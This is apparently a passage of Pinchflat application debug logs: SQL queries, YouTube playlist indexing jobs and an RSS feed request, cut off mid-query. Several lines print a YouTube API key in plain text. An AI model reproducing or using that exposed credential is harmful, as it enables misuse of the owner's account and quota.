[28] 17:35:46.987 [debug] QUERY OK source="settings" db=0.0ms idle=617.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:46.988 [debug] QUERY OK source="media_profiles" db=0.6ms idle=470.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:46.988 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:46.988 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:35:46.988 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:46.988 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:47.105 [debug] QUERY OK source="media_items" db=0.7ms idle=116.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "KrmXrao8zdE", "3fDGcZ8qpPM", "AyGMx6lWgZU", "QeQ0ReNvrxQ", "dWHCef7F8gY", "VsoNt5rhgkY", "jsLE4FncoLc", "FNBkN4YC8uo", "6pR7KWclRgE", "sX4qKGuAwr0", "sN7e38Q7e1U", "Ms5-iH2zH6Q", "NG-lLt5X3Rs", "8A42tiQ04CE", "i1AXDYQ6eUU", "Y8wBie-Oamc", "JPm4de6-eTg", "2El50dt7rVk", "_TxeaboC-xk", "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", ...] 17:35:47.106 [debug] QUERY OK source="media_items" db=0.3ms idle=117.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:35:47.106 [debug] QUERY OK source="tasks" db=0.1ms idle=117.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268512, 28, ~U[2026-10-09 22:35:47Z], ~U[2026-10-09 22:35:47Z]] 17:35:47.106 [info] {"args":{"id":28},"id":5268472,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":119524,"event":"job:stop","queue_time":442289,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:47.988 [info] {"args":{"id":20},"id":5268473,"meta":{},"system_time":1791585347988221662,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:47.988 [debug] QUERY OK source="sources" db=0.1ms idle=881.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:35:47.988 [debug] QUERY OK source="settings" db=0.1ms idle=881.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:47.989 [debug] QUERY OK source="media_profiles" db=0.1ms idle=875.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:47.989 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:47.989 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:35:47.989 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:47.989 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:48.243 [debug] QUERY OK source="media_items" db=0.5ms idle=253.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "YcXxJviqQfE", "g6VmtRtHMeA", "zCj1ZKCgdoI", "YBTfuph1cdE", "ryRdagoZR88", "zD0WRwU4AqE", "GB6lntnVi4A", "QQ97R1nhq4M", "5C60QMnLtX8", "-l28H03fnKk", "FefIWhfl5Lg", "d0t7wpkFc6U", "clsbuM6uf1A", "6Reu1WS3BhM", "bYw5GAzP2Ds", "KY_4oUIG_z8", "4-eB-n5NYRs", "9s69aThM7rA", "Gs5r8iGPjSg", "We-lvUeRGb0", "8JhH6UO_pRY", "fOwC95ZXh08", "i4eCZ6dLVrg", "h_NEOIwrG-E", "1q-hpaepgk0", "cAmEAgNc0eY", "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", ...] 17:35:48.244 [debug] QUERY OK source="media_items" db=0.4ms idle=254.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:35:48.244 [debug] QUERY OK source="tasks" db=0.1ms idle=255.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268513, 20, ~U[2026-10-09 22:35:48Z], ~U[2026-10-09 22:35:48Z]] 17:35:48.244 [info] {"args":{"id":20},"id":5268473,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":256527,"event":"job:stop","queue_time":431022,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:48.989 [info] {"args":{"id":43},"id":5268474,"meta":{},"system_time":1791585348989217075,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:48.989 [info] {"args":{"id":23},"id":5268475,"meta":{},"system_time":1791585348989246962,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:48.989 [debug] QUERY OK source="sources" db=0.2ms idle=744.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:35:48.989 [debug] QUERY OK source="sources" db=0.1ms idle=744.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:35:48.989 [debug] QUERY OK source="settings" db=0.1ms idle=738.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:48.989 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:48.990 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:48.990 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:48.990 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:48.990 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:35:48.990 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:48.990 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:48.990 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:35:48.990 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:48.990 [debug] QUERY OK source="settings" db=0.0ms queue=0.3ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:48.990 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:49.185 [debug] QUERY OK source="media_items" db=0.6ms idle=194.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "31b669NGSbU", "xBJ3EvFzHRk", "UTigBRy4EWA", "u_lWztXd9jw", "uzr_gkc81SQ", "CSksN3XLepQ", "Lhx1j6FShA8", "lPPCjg79EyI", "M3GPI3jShKQ", "QhEWeDT_9gI", "om8wrIN7I5g", "pW4N8ppO5sU", "T42aB4OghFc", "ozik7Ba4gkU", "9lbfqrKKOyA", "86OoMc0NWfM", "KiVx5j9C9Mc", "76C3VtR2NYQ", "eEEPdEY0zic", "pxfnSX8C3aQ", "hkJUk6Lak_I", "X5mw5v9tius", "QUGHPuUU5FA", "CNomQhGnaMU", "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", ...] 17:35:49.186 [debug] QUERY OK source="media_items" db=0.3ms idle=196.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:35:49.187 [debug] QUERY OK source="tasks" db=0.1ms idle=196.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268514, 43, ~U[2026-10-09 22:35:49Z], ~U[2026-10-09 22:35:49Z]] 17:35:49.187 [info] {"args":{"id":43},"id":5268474,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":198180,"event":"job:stop","queue_time":343072,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:49.350 [debug] QUERY OK source="media_items" db=0.6ms idle=162.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "F3BGWNuVMUE", "zy-ZowzY8rI", "iPqkxKao6Bk", "0EVEzVz1iTY", "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", ...] 17:35:49.351 [debug] QUERY OK source="media_items" db=0.2ms idle=163.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:35:49.351 [debug] QUERY OK source="tasks" db=0.1ms idle=158.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268515, 23, ~U[2026-10-09 22:35:49Z], ~U[2026-10-09 22:35:49Z]] 17:35:49.352 [info] {"args":{"id":23},"id":5268475,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":362673,"event":"job:stop","queue_time":207568,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:58.189 [info] GET /sources/72002b34-c043-42e8-84e7-d0b43eaebbef/feed.xml 17:35:58.189 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "72002b34-c043-42e8-84e7-d0b43eaebbef"} Pipelines: [:maybe_basic_auth] 17:35:58.189 [debug] QUERY OK source="sources" db=0.1ms idle=842.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS 